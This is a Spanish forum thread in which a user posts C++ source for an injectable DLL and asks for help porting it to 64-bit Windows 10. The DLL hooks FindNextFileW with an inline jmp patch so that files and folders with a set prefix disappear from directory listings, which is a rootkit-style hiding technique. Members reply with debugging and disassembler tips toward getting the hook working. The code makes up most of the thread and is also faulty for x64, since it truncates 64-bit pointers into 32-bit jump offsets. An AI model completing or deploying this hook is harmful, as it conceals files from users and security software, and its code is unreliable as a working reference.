Autor
|
Tema: [AYUDA] DLL (Leído 4,251 veces)
|
Natalia94x
Desconectado
Mensajes: 19
|
Tengo un problema la dll no se inyecta lo probable es que sea porque estoy utilizando windows 10 x64 bits , ya que esta dll fue compilada para windows XP, alguien que me pueda echar una mano para pasarla a windows 10 Porfavor. // ------------------------ DLL API HOOK EN -> FindNextFileW Y FindFirstFileW --------------------------- #include "stdafx.h" #include <windows.h> #include <iostream> // DECLARACIONES: BYTE *BufferFN; // Buffer que usaremos para ejecutar el api original FindNextFileW char Prefijo[] = "Archivo"; // El prefijo que buscaremos para ocultar archivos/carpetas // FUNCIONES: void Hookear(); // Función que hookeará el api // Función que será llamada en vez de FindNextFileW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData); // Puntero a función con el cual llamaremos al api FindNextFileW original HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); // FUNCIÓN MAIN bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { // Si cargan la DLL hookeamos if (fdwReason == DLL_PROCESS_ATTACH) { Hookear(); } return TRUE; } // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData) { // Ocultamos los archivos que empiecen por el prefijo indicado HANDLE hand; char ascStr[611]; do { hand = pBuffFN(hFindFile,lpFindFileData); WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL); }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL); return hand; } // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW void Hookear() { DWORD ProteVieja; // Parametro para VirtualProtect BYTE *DirFN; // La dirección en memoria de FindNextFileW BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW // --> HOOKEAMOS FINDNEXTFILEW (7 bytes) // Obtenemos la dirección en memoria de FindNextFileW. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW"); //Reservamos 12 bytes de memoria para nuestro Buffer //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D BufferFN=(BYTE *) malloc (12); //Le damos todos los permisos a los 12 bytes de nuestro Buffer VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja); // Copiamos los 7 primeros bytes del api en el buffer memcpy(BufferFN,DirFN,7); BufferFN += 7; // En los 5 bytes restantes... // En el primero introducimos un jmp *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp BufferFN++; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8); // Le damos todos los permisos a los 5 primeros bytes de la api original VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja); // Cambiamos el tipo a puntero a byte para facilitar el trabajo DirYoFN=(BYTE *) miFindNextFileW; // En el inicio de la api metemos un jmp para que salte a miFindNextFileW *DirFN=0xE9; DirFN++; // Metemos la distancia del salto *((signed int *) DirFN)=DirYoFN - DirFN - 4; // Libermos librerias de cache FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }
|
|
« Última modificación: 21 Marzo 2017, 19:09 pm por Natalia94x »
|
En línea
|
|
|
|
BloodSharp
Desconectado
Mensajes: 804
El Messi-Vegeta :D
|
Tengo un problema la dll no se inyecta lo probable es que sea porque estoy utilizando windows 10 x64 bits , ya que esta dll fue compilada para windows XP, alguien que me pueda echar una mano para pasarla a windows 10 Porfavor. Cuidado donde inyectás la dll, si el proceso es de 64 bits y la dll de 32 bits no funcionará de entrada... Aún así, si pudieras inyectarla recompilandola para 64 bits necesitarías arreglar el salto del hook debido a que las instrucciones de 64 bits tienen distinta longitud... B#
|
|
|
En línea
|
|
|
|
Natalia94x
Desconectado
Mensajes: 19
|
Cuidado donde inyectás la dll, si el proceso es de 64 bits y la dll de 32 bits no funcionará de entrada... Aún así, si pudieras inyectarla recompilandola para 64 bits necesitarías arreglar el salto del hook debido a que las instrucciones de 64 bits tienen distinta longitud...
B#
Hola BloodSharp Gracias por responder, resulta que estoy recién empezando en este tema de las apis, me podrias ayudar un poco más , para llegar a solucionar el salto del hook. y desde luego muchas gracias SALUDOS.
|
|
|
En línea
|
|
|
|
Natalia94x
Desconectado
Mensajes: 19
|
#include "stdafx.h" #include <windows.h> #include <iostream> // DECLARACIONES: BYTE *BufferFN; // Buffer que usaremos para ejecutar el api original FindNextFileW char Prefijo[] = "Arquivo_"; // El prefijo que buscaremos para ocultar archivos/carpetas // FUNCIONES: void Hookear(); // Función que hookeará el api // Función que será llamada en vez de FindNextFileW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData); // Puntero a función con el cual llamaremos al api FindNextFileW original HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); // FUNCIÓN MAIN bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { // Si cargan la DLL hookeamos if (fdwReason == DLL_PROCESS_ATTACH) { Hookear(); } return TRUE; } // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData) { // Ocultamos los archivos que empiecen por el prefijo indicado HANDLE hand; char ascStr[611]; do { hand = pBuffFN(hFindFile,lpFindFileData); WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL); }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL); return hand; } // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW void Hookear() { DWORD ProteVieja; // Parametro para VirtualProtect BYTE *DirFN; // La dirección en memoria de FindNextFileW BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW // --> HOOKEAMOS FINDNEXTFILEW (7 bytes) // Obtenemos la dirección en memoria de FindNextFileW. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW"); //Reservamos 12 bytes de memoria para nuestro Buffer //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D BufferFN=(BYTE *) malloc (12); //Le damos todos los permisos a los 12 bytes de nuestro Buffer VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja); // Copiamos los 7 primeros bytes del api en el buffer memcpy(BufferFN,DirFN,7); BufferFN += 7; // En los 5 bytes restantes... // En el primero introducimos un jmp *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp BufferFN++; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85 // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8); // Le damos todos los permisos a los 5 primeros bytes de la api original VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja); // Cambiamos el tipo a puntero a byte para facilitar el trabajo DirYoFN=(BYTE *) miFindNextFileW; // En el inicio de la api metemos un jmp para que salte a miFindNextFileW *DirFN=0xE9; DirFN++; // Metemos la distancia del salto *((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102 // Libermos librerias de cache FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }
acabo de compilar el codigo x64 bits y me lanza 2 errores; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85 // Metemos la distancia del salto *((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102
1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(85): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos 1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(102): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos Alguien sabe porque pasa eso? COMPILADO EN VISUAL STUDIO 2012 x64 bits -> Windows 10
|
|
|
En línea
|
|
|
|
MAFUS
Desconectado
Mensajes: 1.603
|
Normalmente los compiladores suelen tomar el int como 32 bits. Cambia int por __int64, que es la nomenclatura que usa tu compilador, deberían desaparecer los problemas.
|
|
|
En línea
|
|
|
|
Natalia94x
Desconectado
Mensajes: 19
|
Normalmente los compiladores suelen tomar el int como 32 bits. Cambia int por __int64, que es la nomenclatura que usa tu compilador, deberían desaparecer los problemas.
Gracias por responder , y si exactamente ese era el problema pero ya lo había solucionado , de todos modos muchas gracias. Ahora me falta solucionar el salto del hook, tú sabes algo de eso? Saludos. y Muchas gracias.
|
|
|
En línea
|
|
|
|
BloodSharp
Desconectado
Mensajes: 804
El Messi-Vegeta :D
|
(...)acabo de compilar el codigo x64 bits y me lanza 2 errores; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85 // Metemos la distancia del salto *((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102
1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(85): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos 1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(102): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos Alguien sabe porque pasa eso? COMPILADO EN VISUAL STUDIO 2012 x64 bits -> Windows 10 Es porque estás manejando direcciones de memorias con int(32 bits) en un código que debería estar para __int6464(64 bits).... Una recomendación de buena práctica, siempre que manejes direcciones de memoria nunca la reinterpretes o las definas con " signo" ( signed int en este caso), manejando sin signo (" unsigned tipo") vas a poder evitar este tipo de advertencias... Respecto a la longitud del hook, recomiendo tomar algún depurador como x64dbg y probar a mano el/los opcode/s y la cantidad de bytes necesarios para hacer el salto para hookear... B#
|
|
|
En línea
|
|
|
|
Natalia94x
Desconectado
Mensajes: 19
|
Es porque estás manejando direcciones de memorias con int(32 bits) en un código que debería estar para __int6464(64 bits)....
Una recomendación de buena práctica, siempre que manejes direcciones de memoria nunca la reinterpretes o las definas con "signo" (signed int en este caso), manejando sin signo ("unsigned tipo") vas a poder evitar este tipo de advertencias...
Respecto a la longitud del hook, recomiendo tomar algún depurador como x64dbg y probar a mano el/los opcode/s y la cantidad de bytes necesarios para hacer el salto para hookear...
B#
BloodSharp gracias nuevamente por ayudarme, estoy recien empezando en las apis pero vamos que ya entendere como funcionan, mira hice lo que me dijiste y encontre la funcion que quiero hookear, hay veo 6 bytes , corrigeme si me equivoco, aqui la imagen: http://imgur.com/a/qemjlMi pregunta es ¿en donde hago el salto? para poder colocar mi hook. y cuantos bytes estaria ocupando en la memoria la funcion FindNextFileW, y sesupone que necesito 5 bytes más para poder colocar el salto hay, Gracias nuevamente por ayudarme , SALUDOS!.
|
|
« Última modificación: 22 Marzo 2017, 06:18 am por Natalia94x »
|
En línea
|
|
|
|
BloodSharp
Desconectado
Mensajes: 804
El Messi-Vegeta :D
|
BloodSharp gracias nuevamente por ayudarme, estoy recien empezando en las apis pero vamos que ya entendere como funcionan, mira hice lo que me dijiste y encontre la funcion que quiero hookear, hay veo 6 bytes , corrigeme si me equivoco, aqui la imagen: http://imgur.com/a/qemjlMi pregunta es ¿en donde hago el salto? para poder colocar mi hook. y cuantos bytes estaria ocupando en la memoria la funcion FindNextFileW, y sesupone que necesito 5 bytes más para poder colocar el salto hay, Gracias nuevamente por ayudarme , SALUDOS!. Ahí no, ese es el salto de la import table del bloc de notas... y estás en el módulo notepad.exe, tenés que estar en kernel32.dll... Tienes que tener el desamblador del x64dbg justo en las instrucciones donde están en el cuadro de la previsualización pequeña. CTRL+G --> kernel32.dll.FindNextFileW B#
|
|
|
En línea
|
|
|
|
Natalia94x
Desconectado
Mensajes: 19
|
Ahí no, ese es el salto de la import table del bloc de notas... y estás en el módulo notepad.exe, tenés que estar en kernel32.dll... Tienes que tener el desamblador del x64dbg justo en las instrucciones donde están en el cuadro de la previsualización pequeña.
CTRL+G --> kernel32.dll.FindNextFileW
B#
BloodSharp Gracias nuevamente por responder, me podrias brindar más ayuda pero con fotos? es que soy muy nueva en APIS , estoy recien empezando en las apis , espero que me entiendas y que me puedas ayudar, Gracias nuevamente espero tu respuesta , SALUDOS!..
|
|
« Última modificación: 25 Marzo 2017, 02:13 am por Natalia94x »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[Ayuda] Necesito ayuda para crear un buen video uso AF y Flash.
Diseño Gráfico
|
XXXXXX
|
1
|
5,483
|
11 Noviembre 2009, 00:17 am
por Sub_Cero
|
|
|
Ayuda por davor ayuda os ruego ayuda XD (SOLUCIONADO)
Hardware
|
XxRekcahlExX
|
6
|
10,542
|
24 Mayo 2010, 00:56 am
por Aprendiz-Oscuro
|
|
|
AYUDA -.- ahora no entro más en 4chan (tengo una duda, ayuda por favor)
Foro Libre
|
Draklit
|
6
|
8,728
|
15 Octubre 2010, 03:14 am
por Draklit
|
|
|
[PYTHON][AYUDA][ERROR] Necesito ayuda para instalar PyGTK 2 en windows 7
Scripting
|
Noxware
|
2
|
7,583
|
20 Septiembre 2014, 00:05 am
por Noxware
|
|
|
[AYUDA] Ayuda para poner en modo monitor mi tarjeta de red! Kali LInux
GNU/Linux
|
Santi__
|
1
|
8,948
|
12 Noviembre 2016, 18:25 pm
por Will21
|
|